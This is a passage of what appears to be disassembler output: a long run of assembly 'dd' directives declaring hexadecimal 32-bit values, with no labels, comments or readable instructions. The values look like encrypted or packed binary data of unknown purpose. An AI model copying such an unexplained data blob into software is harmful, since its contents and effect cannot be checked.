0D0739509h, 0DFF7020Bh dd 0A2FFE94Fh, 1839DB77h, 0CB81C92Dh, 8F1E2B09h, 0C050434Bh dd 6B145A3Fh, 0A4001062h, 6F6047F4h, 89C7E2BFh, 0AFC276E3h dd 85C2915Eh, 27B8753Eh, 15D3C68h, 42128B97h, 5626408Dh dd 5B5B9F08h, 19EE208h, 28F6EB80h, 0E161D6F3h, 39AC3F5Ah dd 0EDD56EC9h, 0E9830BE9h, 3DCDE5F7h, 25C837ADh, 21DDCCDh dd 0ED8151D6h, 50C80E10h, 3046C5F0h, 0E9F0CCBAh, 86E6415Dh dd 0C57E2B41h, 2DC7729Dh, 0CB01ECA2h, 2507A460h, 82BF6477h dd 0A90CFAC9h, 0B66C5D7Fh, 0E08DE927h, 1251BDE9h, 0E8BC9836h dd 20A15BCEh, 4F843920h, 1F78E050h, 62AEC84Bh, 4798577Bh dd 24C0AF3Bh, 2AEE8FBAh, 3E439D7Dh, 9374FB9Ah, 6AAAB7C2h dd 0F08F26Dh, 83D7F706h, 0B9E9861Eh, 410B9B03h, 81388476h dd 7431FF1Ah, 0E29480F6h, 3B02AA06h, 81E21BE9h, 56078D01h dd 0C75AA8B2h, 8A6885F0h, 6FDB8D11h, 283A2CCDh, 6F4E013Eh dd 0D8D949E4h, 4C238055h, 5B1FB312h, 52EDD8AAh, 0AE2BE912h dd 0FE6464EBh, 770111B4h, 854A4BC6h, 0A28B31BFh, 81DB078Ch dd 486BB668h, 0B1B1E0FAh, 1ACA307Dh, 0C926120Ch, 5E682109h dd 5160992Bh, 120133E4h, 0BD59606Ah, 1FEB04E5h, 6F816CA9h dd 550039A5h, 674D3168h, 2DD58100h, 5D2A7B5Eh, 0E6C180A2h dd 0BAEE8102h, 0B56F9C04h, 0EDC2F589h, 8889FF7Ch, 0E9127834h dd 0B1B41847h, 53DC890Dh, 72A701D3h, 454A34D0h, 515F1F42h dd 32D54772h, 4D7E5394h, 0FBF18217h, 6B78046Bh, 88EE13DAh dd 6D62236Fh, 0F6AA946Bh, 0A1FADA55h, 6E4AD927h, 7A509FC5h dd 71AE3505h, 0C2847E57h, 685E2190h, 32375A5Fh, 0BA5007C0h dd 0D56EB901h, 0CD019487h, 90D0993Ah, 201EA268h, 0C080DCCCh dd 52ECD0E8h, 0F6F003B6h, 0EE76467Bh, 9F6AE916h, 54A88320h dd 80A0DDF7h, 0A9AA6F25h, 5B58D889h, 81FD4EC3h, 0D0C103D2h dd 74171E5Dh, 73BC0399h, 63490896h, 2DF00100h, 4EE278A8h dd 5A12A77Ch, 0BB85AEACh, 7E3D8012h, 11024105h, 0D8291B40h dd 66078B2Dh, 6C0505B2h, 0A4A2532h, 30072DD7h, 5E0EEA48h dd 94BA384Ah, 944FB06Fh, 0A4BD8C96h, 0A093177Fh, 0FD3F79E1h dd 5658A008h, 47532468h, 1480697Eh, 49E262C8h, 39C554BFh dd 27806703h, 0A1A4E94Ah, 0C8133E8Bh, 104BCFBBh, 904B8AE1h dd 0EFC0ECC9h, 0C7FE0316h, 12138D08h, 6872D05Eh, 46BF28C8h dd 46F3835Ch, 21178F10h, 20AC8DD8h, 94F0E919h, 0CB57FC95h dd 7B9DBDCCh, 4F308800h, 20478F07h, 31C306ECh, 0CD1EF448h dd 0FA370729h, 25E57373h, 7117595Eh, 0FD63E90Dh, 18492440h dd 812802AAh, 0BC124EEFh, 759BE5C1h, 0B6803FE9h, 60CF37B1h dd 26570C58h, 2BF7D48h, 0A2CCC0D4h, 0B00D39E8h, 2408198Fh dd 12618233h, 3BD369A7h, 93041C94h, 31ABB6F8h, 9FB49Bh dd 93F0095Bh, 24A2C60h, 7E4206CBh, 70A1C055h, 0EAF1C166h dd 0C759555Eh, 0A362F2EAh, 9EB080Ah, 4465BBAh, 0C25610BDh dd 0A31116DBh, 0B450AB66h, 5F916408h, 32813DEFh, 0D15CC9FFh dd 0C87F6911h, 8089A3F6h, 8E09C681h, 9015672Ch, 0FEA0F6C2h dd 21DC20DFh, 18DCE5F8h, 7E0ED7C2h, 8849C025h, 35AA075Ah dd 3534A22Dh, 1448370h, 8DE3965Fh, 0F35BD913h, 0F532C1Dh dd 81C4E30Ch, 34220BF7h, 0F06213C7h, 80E4AC61h, 80DAF63Ch dd 3A8852F2h, 0B2185AD4h, 0C2FE16CEh, 1E5B2290h, 1705E63Ch dd 4CE5001h, 0FC9DCA6Ch, 86CFC4F4h, 0D8DE5F0Bh, 2EEF7F7Ah dd 555839B2h, 0E950A351h, 27329CEAh, 0FBE7380h, 0E3EC7DA8h dd 0A30BB309h, 0AEBA8054h, 0C1658A51h, 3C213D24h, 380C8232h dd 0A96C398Bh, 34DC85A5h, 70ED6722h, 0BE839533h, 89BF8BE1h dd 25B26D5Fh, 8E37DFA2h, 0BD2CF157h, 5300C425h, 871C8858h dd 0D28D72CEh, 1876CAFEh, 0E36DB135h, 0B8771DE4h, 50EB8379h dd 0C38F134Eh, 40E1B3CBh, 4CE2836Ch, 170B14Fh, 506E8924h dd 6BDE01FEh, 0EE0296CBh, 373C2382h, 0E3A8D886h, 5756E800h dd 0BA061768h, 0ED5F4812h, 0B131ABD3h, 3A2658C1h, 0EC82C1Ch dd 929C04F8h, 0EAF0221Fh, 0AD00DD74h, 906D202Dh, 706DB849h dd 60779ECAh, 4D07F6BBh, 0DBF70216h, 0FBA85E00h, 4A318304h dd 4F88B3CBh, 0B902A4A8h, 0A4AC7503h, 53F633F0h, 66F353C3h dd 7495D25Ah, 15582D13h, 921CC73Ah, 3BA1FDF0h, 5E20F77Fh dd 0A0B37849h, 277FB8B5h, 26E3B0CDh, 9181B9DCh, 38BF4ADDh dd 0E92556F0h, 518600D3h, 258088B5h, 53C02DC5h, 28D33F9Bh dd 0B235A3A9h, 2CCEAB6Dh, 0D8CC8C65h, 734CCE50h, 0CB8D8181h dd 0F47BF85Dh, 170B2120h, 8590864h, 6524079Fh, 1E0E7901h dd 0F13B0135h, 5A080292h, 39735742h, 5F34F74Bh, 28D91332h dd 5993745Ch, 667B2412h, 1B86051Eh, 0FE23604Bh, 0A3E7627Eh dd 278E7B55h, 0E11C4276h, 0CD14FFADh, 9AA2D3FAh, 0BA00D978h dd 7AEB693Dh, 25345BEh, 0D63126ADh, 24FE3FE9h, 0F2525F0Ah dd 58579300h, 740524h, 2D3FA56Eh, 5BF19A09h, 4A72E1B7h dd 1FC10C60h, 9644EA18h, 3994EFD1h, 0B198A2ABh, 586EA037h dd 7E68E001h, 0C4FD7CE9h, 4416F397h, 0BB8CEDDEh, 9FC460D8h dd 267E2709h, 0D6995ED8h, 0A5F68644h, 62E8CAF7h, 624E2968h dd 75810E27h, 58EC9E66h, 5DAD25E9h, 0C49AAB72h, 4ABA6920h dd 0FF44EA09h, 4DD7DDF7h, 75DFE262h, 28998219h, 26B902D8h dd 7D01A00Ch, 0BE564540h, 8760E038h, 0D721E902h, 0D8BB5F0Bh dd 4F0BD1E3h, 0DE126268h, 1EC46F37h, 5B44E295h, 53CBE1BDh dd 25AF9E75h, 309802B1h, 907133Fh, 2BF18119h, 21268CE0h dd 46E919CEh, 20EA4143h, 0E192C74Fh, 6C25A284h, 835B59A0h dd 0FE8817B7h, 2E80AAE9h, 4D96EC37h, 85594E8Dh, 51AF871Ch dd 742B0Bh, 59EBDE2h, 4CA82DFEh, 0C9C58193h, 0FB77C24Eh dd 0B9CC6216h, 5D799475h, 582D224Bh, 0E9F815F6h, 88AB55B5h dd 4B213D30h, 0B937BADDh, 6A99C7A2h, 8AF14053h, 2018937Ch dd 5058262Ch, 0F6C00BFBh, 803CC575h, 6871B450h, 0C1A67076h dd 0FEE9B105h, 0A18780C9h, 0C8F96D62h, 3953987Eh, 2AFD582Fh dd 3CA02475h, 9219EBD1h, 275E10A7h, 0BA951777h, 0E706CFBDh dd 40DFF707h, 5A2DB20h, 48520BBEh, 0E9B4FE77h, 7CE91606h dd 0EDCF29D8h, 25B37809h, 6D94FD42h, 60093513h, 0A64F5406h dd 5250003Eh, 0BB47AB6h, 0BC70EC80h, 0C475F475h, 7085A65h dd 0A8F781BEh, 326485Fh, 0AA917D32h, 66456943h, 0F0F20E93h dd 0D64AF7E3h, 0E70322ACh, 608C723Dh, 0CFC0D7D3h, 5C3F5A8Dh dd 0CB09796Eh, 37C329h, 4C5FDF80h, 0B03B867h, 8802850h dd 0EB81B054h, 60E53B9Fh, 2980070h, 2931E4EAh, 1D585BDFh dd 0E8DEBD20h, 0A7F41EBCh, 3448939h, 44FA25Eh, 0D0918480h dd 0B0683F05h, 96E395CAh, 25DBB95Bh, 2841020Ch, 0F67964D7h dd 261D4339h, 1A1D0C53h, 0BB304C00h, 5BF65191h, 0B9A1B039h dd 0D617280Bh, 684F003Bh, 257DED11h, 0DC02A9E9h, 43435950h dd 0CAB125EBh, 0DF2DDC6Dh, 112E8B17h, 0F8138FECh, 0A7DDD0C1h dd 3B4B2C2Fh, 40AE4484h, 9DA37CD1h, 0A120E97Eh, 0E96873B2h dd 92B4F93Eh, 8FB514EAh, 0EF10F44Fh, 60C2BAC0h, 0E4F98951h dd 4FCB7CEh, 0B73BE950h, 2C8BB482h, 0C697375h, 0EFA3D6E2h dd 0A0CBFA95h, 1475BB82h dd 0E83ED031h, 771D3802h, 0E680431Bh, 0BFBEB293h, 2AE9E0A8h dd 2339595Eh, 9D68BC3Eh, 1391680Eh, 5E10838Fh, 5D7C6383h dd 0E055DA4Ch, 2D437CB1h, 23480B23h, 5CBE035Ah, 11B19665h dd 6839432Bh, 0FB137E8Ch, 18A94EC3h, 9140A98Bh, 8490BD55h dd 0FC460625h, 0CC521FAFh, 541E8428h, 8685F09h, 603EFC7Eh dd 76E51D56h, 0AEC38107h, 1D01AE2h, 4D7AE9DFh, 2909C15Ch dd 0B2F5246Fh, 9A5657C7h, 0E871E9C2h, 0CDD6294Dh, 110F023Eh dd 2BEE5CAh, 0C6868059h, 0A006EB7Eh, 2444E7C4h, 0FA31A18h dd 0E8F6164Ah, 4B080BE6h, 0C03E82F7h, 0EC51053Eh, 58ACD3B9h dd 59168F1Ah, 979AA0FDh, 9D036648h, 0AD62C2D1h, 1668018Ch dd 2FA62F2Ch, 5BEE277Ah, 18899471h, 62C93047h, 3C57B27Bh dd 1F17C331h, 8827E2ABh, 0A72F26F3h, 0D9E33877h, 195BBF5Bh dd 0F7725A5h, 39322BB1h, 1B879B1h, 0CE70815Fh, 2D59241Bh dd 4E0B107Dh, 85F766B1h, 0FC5A30B0h, 0A39F64AFh, 0F87995C3h dd 58582778h, 49F8BE12h, 0C920C55Fh, 0C7540957h, 0F3E9893Dh dd 6885BB54h, 0A63551A9h, 0AC81C5BBh, 0F83CE2AAh, 93E52521h dd 0F68BE2F1h, 207CF215h, 9250556h, 8F85E0CFh, 5EA82FB0h dd 0C07257F4h, 0E2529616h, 905D9509h, 600EE94Fh, 7E2E3CDh dd 3248081Ah, 72CE0551h, 951F7711h, 7D0B2245h, 0C19840AFh dd 7A861E20h, 0A5B8D1F2h, 0A31ADB5Bh, 826D7774h, 3FAE712Fh dd 2DC7F059h, 0ECD90902h, 209B8FE2h, 7502D1C5h, 4CB93E4Dh dd 6CF327BBh, 2114406Dh, 842E65D4h, 8002D051h, 92C13EC7h dd 0D48D498Eh, 4C4C5132h, 61480598h, 0C0EA3AF0h, 8959533Fh dd 0C71D0F7Dh, 205774F3h, 6E120B58h, 4DD258DDh, 9D8D3412h dd 817BEC1Ah, 0DAB30AC4h, 0E308C1BFh, 5F3CCA3h, 1C6A06C8h dd 0E9DD0241h, 8ADEBF5Ch, 79435998h, 0B9C6C0D5h, 71F14037h dd 7498D1F5h, 460F8C6Fh, 64516BAFh, 0CBFECB02h, 3DA21875h dd 0BB0FB757h, 7E9B01BBh, 3E583FFFh, 72E96F02h, 0F7F04A3Bh dd 807F5182h, 93D40Fh, 7A9B34D6h, 955FFB29h, 2189AD65h dd 68DAD6B8h, 0F96162C7h, 46EA8100h, 0C8C5091Ch, 0C4FD0B68h dd 0A06CA17Eh, 0FD5DA452h, 0D03F71E0h, 7B8225B6h, 43619F69h dd 2211F860h, 0E1813C05h, 55272A89h, 0BC89045Ch, 5E4744CEh dd 0B43E80C0h, 0E405806Dh, 0B1B5515Eh, 7473A4EFh, 597FECE0h dd 74D7FFE6h, 0BF5E6881h, 4F2D62F8h, 0EF30E428h, 9F1D7809h dd 7AF88401h, 1BC9C11Eh, 7F53E429h, 5CFB6D1h, 0DB20E5C5h dd 4C5C827Eh, 5D95862h, 4F158301h, 6BF6B12Eh, 0F8885007h dd 0C5D5D067h, 0F7281FD1h, 0BFC892DCh, 94F1A94Bh, 0BA0E8BACh dd 615055Ah, 0D0D14281h, 0DFCCF33Ah, 7908B4FDh, 5DF3A0FBh dd 0BAF8535Ah, 0A2CEE9B0h, 7782DFDDh, 40352862h, 39586AE9h dd 1DD25B4Fh, 5D741A61h, 0F262C634h, 4256F1DDh, 695B476Eh dd 5778C609h, 6E591B94h, 78683AE7h, 0F7E27BE1h, 4998ABB5h dd 28AD4AAEh, 648BBC5h, 0B7D9DD0Ch, 0E53EC125h, 4F2EECF3h dd 97C0EEBFh, 0E9D81954h, 0ED9B5C9Ch, 23DAB9A7h, 0ED61FBB9h dd 0EB44A610h, 40E2F30Bh, 524D6820h, 0C90F1402h, 2949B179h dd 0EFA36E05h, 0F62717h, 0E95F0F65h, 84C8CA2Eh, 0EC7FB510h dd 913260ACh, 963635C3h, 96EC554Eh, 1816770Fh, 42DFF281h dd 0C22470B0h, 0A223EA01h, 5AD3090Ah, 3C15863Eh, 0C568BD0Eh dd 1642DE1Bh, 0CA1C2432h, 8B31750Ch, 31D53ED2h, 0B2BDA902h dd 0CC054F1h, 0EA8B5412h, 71A81E14h, 46E25CFh, 0C3BA5A68h dd 16E4B894h, 17CD8EAh, 9888D360h, 952F5644h, 64CB5471h dd 4AC300BCh, 0E95D8034h, 95C19A27h, 1201D7C2h, 8A6DAE47h dd 84810804h, 0D86EAA9Ah, 0C1A08927h, 40829441h, 80D1CCB8h dd 780EEA2Dh, 42050F88h, 5E206227h, 2B530762h, 0CA768B5Fh dd 0FD81A7BDh, 0E92E449Eh, 20AFC99Fh, 0D537112Ch, 5261BC6Dh dd 1B559E52h, 33803E92h, 39CAAFA5h, 59BA2952h, 0B510175Bh dd 0A1024153h, 4BD22EE4h, 0CFF8008h, 0FC1C4C67h, 0F2374EEEh dd 0C1A58B57h, 6422520Fh, 0F57AB4C7h, 3865CBE6h, 0F73092B7h dd 0F40AD1D3h, 5D5800Bh, 0CDEE49D5h, 8700380Ch, 0D773525Fh dd 7D7F1751h, 0E734A1h, 4827DCE6h, 0BE04560Ch, 0E2BFBB2Dh dd 126A39A1h, 24BE0F3Ch, 8074C0E4h, 0B8A3E83Dh, 73C7444Eh dd 9219F689h, 935CABBDh, 0D712EEDFh, 0D74638C2h, 0A3098F70h dd 70780771h, 0FF27C955h, 8A4479D9h, 8802A6C0h, 0FC08D35Ch dd 4F905819h, 0A2841133h, 6304577Eh, 3FCE1881h, 23AE3929h dd 0EB286AC8h, 0E95A0B08h, 44FFA990h, 7DFE7269h, 124FEAF1h dd 0E75B5938h, 953E160Eh, 0EB2C74F9h, 2F7EA5E5h, 0CC82D565h dd 0F3B0572Ch, 0D8BDD7B6h, 0B1510542h, 1FC888E5h, 48629095h dd 0D12F5052h, 0C2CBB40Ch, 44F62129h, 67B5D96Ah, 0B36D0028h dd 28D9E96Eh, 740981B2h, 2006BD42h, 6BAC2D40h, 0C3E1A1B4h dd 3C868B2Eh, 0AB4D02EBh, 0F06CE93Bh, 0BBB3937Fh, 0DC40EADEh dd 68ED5D1Bh, 4059209h, 9A4480E1h, 3C61BD2Bh, 608A3C85h dd 9745155Ah, 9FF6975Fh, 590B0820h, 30666C68h, 0B535F85Dh dd 0F5932667h, 0B24EF45Dh, 0A2BB1244h, 0E1ADD3D5h, 16CF4DC4h dd 5FFD7400h, 92339968h, 0B09D2E7Bh, 0A05B92BBh, 2769F0A8h dd 81C6201Ch, 25BE0FF3h, 5D831588h, 5610E5C1h, 124B9F35h dd 0CC34A57Eh, 432E6956h, 0AAE2075Fh, 4A59F5C5h, 1A4CC30Ch dd 0B2495E59h, 0AE5C164h, 9F43788Ah, 14C2F9F4h, 76E9BB20h dd 0B14AC0ECh, 59CC0886h, 0F5B0B8C4h, 287095C1h, 4405AD00h dd 76165F13h, 2EA93E01h, 0A48F3A0Dh, 25AB48F0h, 54BB4300h dd 0A298236Ah, 0E62FD80Bh, 259BD32Bh, 762FC0F3h, 0FD071276h dd 9F027621h, 0E9165D06h, 16A3D898h, 0FE3BB353h, 0B1058CD5h dd 0A2BCA0C4h, 4B06EC4h, 37C7E2C1h, 85014830h, 512CC30h dd 71FFCA8h, 0A7241080h, 27447327h, 0C9E7D1C9h, 47E32AFAh dd 0E0EB1ED6h, 1DAF2D01h, 0D0012E74h, 329D4F3Fh, 565B1790h dd 52692EAAh, 87600B9h, 0E78119B6h, 4C7F120Bh, 2714F825h dd 95F2508Fh, 253E17DDh, 2533CC57h, 0AB6101E9h, 0F55C20B5h dd 0ED805A03h, 0AFC5FE6Dh, 0CD2CEA23h, 51ACC1BEh, 8CE9FCB5h dd 0F8F62892h, 23C928Eh, 68C6FE76h, 0B0F7493Eh, 2809B50h dd 0E188C5F4h, 0C87F2AE9h, 244627EFh, 13564D65h, 5CBC88D0h dd 0AC4A02F2h, 67DC62E5h, 0D6E5905h, 305A8909h, 0CE746C48h dd 0F67DE29Ah, 50A5EA33h, 9F16AE10h, 0E9395Ch, 0AD40A00Eh dd 78EABF0Ah, 263080Ah, 35D77DB0h, 8F5AE260h, 7991849Fh dd 4F3FA6EBh, 5BACE43Ch, 46CF4C80h, 5816FA96h, 43012AA4h dd 7CA3680Fh, 4CE9CB8Bh, 60F71F10h, 6142C117h, 0E96C04F0h dd 94685100h, 7B5F5C1Eh, 59FE16CBh, 30C4CF96h, 0C6E4FC52h dd 5D951065h, 800CC660h, 0C40690EBh, 45A96814h, 99A8D3D4h dd 0E91F704Ah, 3CDAD62Dh, 68832146h, 0A8334348h, 130E5324h dd 0B53E3196h, 0AB0E70B2h, 0C6ABCFE1h, 300459A8h, 2CF0281Dh dd 9340E904h, 429139BFh, 94555A4Fh, 7476B537h, 3CAB84E9h dd 680990B3h, 2CD1120Fh, 5916E389h, 12CCA9B3h, 0F3C5E4A6h dd 924139EEh, 0DC87CA01h, 5660C97h, 0BCF66EB2h, 2BDBC27Eh dd 302BC080h, 28618217h, 0D2973DAAh, 1218B7ADh, 87EB1D9Dh dd 34807513h, 0DDED5C09h, 0F72EFF66h, 0DC0A21Fh, 9D6AE52Fh dd 16962DEh, 0E6E95200h dd 4F5B76D6h, 0ABBA5B04h, 6923678Ch, 65DF87A9h, 3002C55h dd 26366118h, 77BCC9E0h, 41024900h, 0E903E1C1h, 66524051h dd 0E0616814h, 2C9C90B0h, 0DF7A9E1Eh, 485304E8h, 3C1209Fh dd 76BA9F05h, 3C0EB58Eh, 0E86B53F7h, 11D0B2B2h, 0E7166BCBh dd 0E5A1FCF8h, 0D8DB84C3h, 0DB5055Bh, 4810AC30h, 598C74C2h dd 5F827A6Ch, 0E0769C62h, 61097128h, 583D3C6Ah, 360D1E03h dd 4019432Bh, 0D1D11D35h, 6A97AE2h, 28019A90h, 0E937D726h dd 55906EFFh, 731E01F2h, 0EADCB5BBh, 0BE6880ADh, 4AF8470Ch dd 0D3694175h, 38579368h, 1212D00Ah, 53C528E9h, 7949151Fh dd 0F302849Ah, 81AF684h, 0ECAAF50Ch, 4CD9CB88h, 5078E989h dd 0BE56003Eh, 1ED1254Ah, 750ECE81h, 0C01F4455h, 0C347F5E6h dd 60C17603h, 6711208h, 0E91745E1h, 39EFD17Eh, 9BF641F5h dd 3C6801C8h, 66C1447Fh, 504513E5h, 0CA4056A5h, 710475B8h dd 0C6892F05h, 0AD245B78h, 0D95397B0h, 26233A80h, 0D5EB542Dh dd 0C773CCA2h, 1C096B9h, 54B6BD0Bh, 62B96249h, 0B52F2466h dd 25C27C81h, 0ED05AB56h, 61C3B72Ch, 131EEC29h, 0D235A17Ah dd 8277B7E1h, 101B66D9h, 3BF16722h, 0C021E11Fh, 0BD557DA7h dd 0FA26279Ch, 0AA135B23h, 8B5EE888h, 970A2439h, 6CF14913h dd 9B2E93Bh, 0FED92B51h, 43D00DA7h, 0FB0C8002h, 0E90F9219h dd 0EEA2D6BFh, 4DD72938h, 0FF4A54F0h, 761AFA1Dh, 50D25E12h dd 0E673F180h, 0FE45C10Eh, 0EA6C5DC9h, 0CE88F005h, 0C0D69102h dd 0B79040E6h, 0FE202E4Eh, 0ED81C979h, 0A04771E9h, 170C68Fh dd 802AC795h, 916220EAh, 0F627E902h, 0EE375223h, 0AE784B85h dd 642F5C41h, 0B4FB72BCh, 0F7460810h, 8F685301h, 5D429528h dd 7589406Dh, 0BD5F6AD7h, 0E956F281h, 5348DD1h, 51440CCEh dd 63FEDFB1h, 0E9F084E1h, 0ECCF63Ah, 20732D68h, 0E9C14E18h dd 4B058259h, 1485EFCh, 17376704h, 59ACC20Eh, 71685390h dd 2C661449h, 0BD8723h, 37AF7453h, 0CD815Dh, 1BE873EEh dd 1640BF57h, 10342624h, 4360EA00h, 681457Dh, 622FD5E5h dd 0C5040E0Ah, 22BE2428h, 3CD9C8BBh, 7FCF1712h, 39CE1FFEh dd 4EF718E0h, 0D20BB273h, 0E6983EE9h, 0B351329Bh, 93C45E10h dd 4F4C1338h, 59B668BFh, 0E58D504Bh, 5DCEC5E9h, 45C9CC71h dd 2727A230h, 92FF5BD9h, 0F1D5851Eh, 4E028EFAh, 289744EBh dd 56A2EE75h, 2F112036h, 88645C12h, 77E6301Ch, 1CCD9A7h dd 7A7D11CFh, 0B9EFD86Ah, 0FE48FD76h, 41FC0115h, 0FB01340Bh dd 8069A31h, 21F0B0Ch, 0FDAD32A5h, 0B32A006h, 1E955FF2h dd 9BD19D11h, 9C90F128h, 72055EE6h, 0DDF730B5h, 46BCDE53h dd 0A76624BDh, 5F6F01B5h, 4D60D0F7h, 64391DC3h, 6B89400Bh dd 0C1E962EEh, 0F6251D50h, 689C1013h, 82342CEFh, 2DEE744Eh dd 2A583117h, 0F6FB1B85h, 206BD40Bh, 0BA5B5E9Ah, 8FBA5F53h dd 72E9831Ch, 0C529025Bh, 4CF55CADh, 0E5059087h, 29EE91F9h dd 70A46BF0h, 0CD845C11h, 0A869888Bh, 78EBF4E1h, 6771A2BDh dd 0A00D008Bh, 144C7A44h, 0B3191003h, 0D06FCC4Ah, 0E9122042h dd 0BF6A85C3h, 0F8D75BE3h, 18E4F4ACh, 7E4AA307h, 52FA6EE1h dd 1D29BC16h, 0EF0159B0h, 52D7F601h, 2581E63Ah, 2C0400E8h dd 9BC53016h, 0EA243C29h, 2089252Dh, 615271DCh, 0C5C00BAFh dd 0D8F7003Dh, 0AF56C935h, 16062D14h, 0C1D4F64Eh, 570D0ED6h dd 6882C07Bh, 0CED72B09h, 0D9E91773h, 0D6B8FDCAh, 217AC8ABh dd 838F997h, 4F12D160h, 2F1ACA0Dh, 7A215AE8h, 80775EC8h dd 4B685BA1h, 622E7497h, 0B9D3FF1Fh, 0DC67689Ch, 65E3C2DFh dd 0B1EF704h, 6A5DD8DDh, 2705C03h, 636F9D94h, 0DD6E62D7h dd 5D5AFFC8h, 8A81E925h, 0C074B978h, 6B71BDE4h, 0E9243F7Fh dd 5E934408h, 99DCBAAh, 0DCCB50E9h, 8158BC7Fh, 70DF52B2h dd 375A5800h, 0D809A425h, 535803F1h, 0ED406BBh, 0DE092CA2h dd 2209A898h, 0D53AD952h, 25D6A430h, 7A4024h, 4E366805h dd 0B904DAA3h, 0C05A172Eh, 0E4184C89h, 6157358h, 6FEA1F2Fh dd 0F3D13C7Eh, 10C2933h, 6A32BB84h, 1D685D5Fh, 0B7B18A6Fh dd 24A3B89h, 0D5CB2E4Eh, 491658E7h, 0D5E0F509h, 762DF8EEh dd 82B81810h, 6F439C65h, 0AC23B021h, 10012932h, 0B907816Bh dd 29ED7147h, 6F965283h, 0D4C13EFAh, 60E86E08h, 0F4754C12h dd 302ED061h, 0BD2834FDh, 0C186F17h, 0C58F3201h, 33313D95h dd 5DB93642h, 0C3425FDEh, 2E53D5AFh, 30C5C825h, 383D0A03h dd 6060558h, 0D58DE95Fh, 1D35BA05h, 6EF8427Dh, 0DF053F4Ch dd 363360h, 0F955B5BCh, 0CD38E9CCh, 74BA5A56h, 8538AD9Fh dd 9630A022h, 0A06DEBDh, 0EDC1109Eh, 0C32517CBh, 0FAA556BDh dd 0AD5FB9DBh, 2BAF5FC1h, 3EF85A51h, 0CCD83FB2h, 5B1F6850h dd 0C04BB3B8h, 0AA4B70A7h, 110DDDBh, 145A2754h, 3B68134Bh dd 1050A350h, 804E0D82h, 718FF5C4h, 1EB079F6h, 0AE7632F2h dd 9F3F50B5h, 71E9E9D4h, 0C1F1623Ch, 9D01330Ah, 5D69977Ch dd 0E6CD5F80h, 0E975412Ah, 0D1B58775h, 6892BC6Fh, 7A24B7B5h dd 77DA8997h, 66CBD371h, 685217CEh, 0E9BA4E7Ah, 0C24F132Ch dd 0B210F209h, 2F2D61Ch, 404B6F53h, 0A74F1D41h, 20F9DA0Dh dd 681884DFh, 244B4183h, 4B518179h, 97277FBCh, 78C3648Ah dd 39666268h, 0C7777D44h, 40B90153h, 6A23480Ah, 525F53C1h dd 0D745F96Eh, 0FF5E95BEh, 53350581h, 67CD912Bh, 0F7DF802Fh dd 68A13002h, 1A418050h, 0B6F1325h, 56C00BAh, 5CE32A16h dd 0B274359Eh, 7FDA9742h, 9952A2F4h, 27123B6h, 0BFFAFBCCh dd 7CC59581h, 0CF01F091h, 8816498h, 81C0E1E9h, 10E8C38Dh dd 0B02AB429h, 180CBF4Bh, 321AE11Bh, 0D33A0CBAh, 0EF42290Fh dd 0D7E908A0h, 5F04169Ch, 66D8C101h, 0E9500C51h, 0BBB6BFEAh dd 0C21CA995h, 934F44Dh, 67D1F1D5h, 2C49531Eh, 9480E4E1h dd 9D88B1Eh, 0BDDE965Dh, 0BF3534F8h, 2A648546h, 17C0B01Fh dd 9E977EEh, 158C497h, 0BCB2ABFBh, 89A9F19Ch, 0B0A32CDFh dd 2D232EEAh, 0FF463ECh, 5F4B08A0h, 0E9823BE9h, 627956C5h dd 6A3AF980h, 0C6257Fh, 5781F63h, 0DC92E2Bh, 50EF3505h dd 13AA85D3h, 49010850h, 3BBE046Fh, 70456803h, 3AF7BE84h dd 0A3423C17h, 9E6811A3h, 0CB3F8D51h, 61CC12C2h, 0AD9BD3BDh dd 0E7B784ECh, 9ECC403Fh, 8339344Ah, 0B82516F9h, 3149E06Bh dd 271A643Bh, 1390945Fh, 0D1AF15E9h, 2F2AEAE3h, 416E18A0h dd 0A2316AA1h, 9007152h, 0E1B059C8h, 69AC5148h, 22780EEDh dd 2D1D43h, 763899B7h, 2EB32941h, 6D76F298h, 6A7E212h dd 6EE14904h, 3D516800h, 0AAC03A3Bh, 77CC4C7h, 53E92D63h dd 2C5B0F81h, 55F23FC3h, 69A2672Dh, 0C722B6E0h, 65E782A5h dd 0C6E4D72Dh, 659B2E31h, 0CC3E4F16h, 4912A764h, 0BCEC78D8h dd 7FC0AED7h, 5827B65Eh, 0A45F5587h, 0C5F6E995h, 56E1C7C0h dd 41AD77h, 68535550h, 0E3F6C75h, 0C30582B8h, 0FE40BF87h dd 0B801DCE8h, 4E0373B4h, 128A4431h, 0B1E5DAh, 0FD149089h dd 74947EF1h, 2F49081Fh, 0D435A7EFh, 3557F100h, 0B16B0021h dd 7F2D4856h, 0BB187902h, 33A2C201h, 0E5189777h, 92175AE2h dd 7D2C5E59h, 9D08B855h, 0D1753909h, 9E20628Ch, 0EA9CA2DFh dd 2A187D94h, 484B4968h, 88EC2831h, 69E2EA04h, 0EF5E683Dh dd 0E7BF3725h, 962E1294h, 0BD87890h, 0D45F4B9Dh, 0EA0812B5h dd 71512FCCh, 0BA1B1768h dd 0C99A0078h, 4FCC0F49h, 3F95097h, 8001E099h, 0EBF5A9E9h dd 54517E30h, 0C5F8B859h, 0D8C9FE9Fh, 26DE8609h, 0DD0BC8DAh dd 804C79E6h, 284E1B02h, 0E51DBC2Ah, 0F514C457h, 0C3F47231h dd 0CB280459h, 0EAF50DE9h, 0B9969BF3h, 7EE917E2h, 8A41C2B9h dd 9366A97Ah, 5E9F92EEh, 2C0511A9h, 6DDEBD26h, 0A22F2E10h dd 0D6871D19h, 0E064F7CAh, 0D526884h, 578169EDh, 0AB240E9h dd 0DA6614Bh, 0E3B900D7h, 40EE250Fh, 362837DCh, 0F3D4209Dh dd 5AEA107Bh, 0B437E867h, 2504DDCEh, 0FF50324Bh, 123381E0h dd 0FC07480Eh, 0E9074083h, 7039F56Ch, 0CA354F37h, 0DCC702F5h dd 0F7A25DC6h, 0D0C4E8DBh, 185C73E8h, 0FD5E68C4h, 9F3C1379h dd 0BE2CDBCDh, 96C3884h, 0D768095h, 7D580443h, 2F64B501h dd 77F12D07h, 0C3C5F7DFh, 5DBCE4FEh, 23CC1B4h, 2B10D7BEh dd 9E40D505h, 0C24E5130h, 7DE8F5A0h, 87760356h, 38A0E9EEh dd 9D4F3C2Ch, 7E582002h, 77B0F561h, 124C76A0h, 58E30220h dd 0D67FBD22h, 70E98BDEh, 5B07A2F8h, 6CF68059h, 750A3FA2h dd 5D847A0h, 2E2E0608h, 0CD057816h, 0B309232Ah, 0BD4B5030h dd 5207EC45h, 5A39CA89h, 71392F68h, 120C18F7h, 0B93CC0BDh dd 570B097Ah, 0F51A2C90h, 0C1CC1D22h, 2BDDC833h, 8A717DFEh dd 841895BEh, 0EAC116F5h, 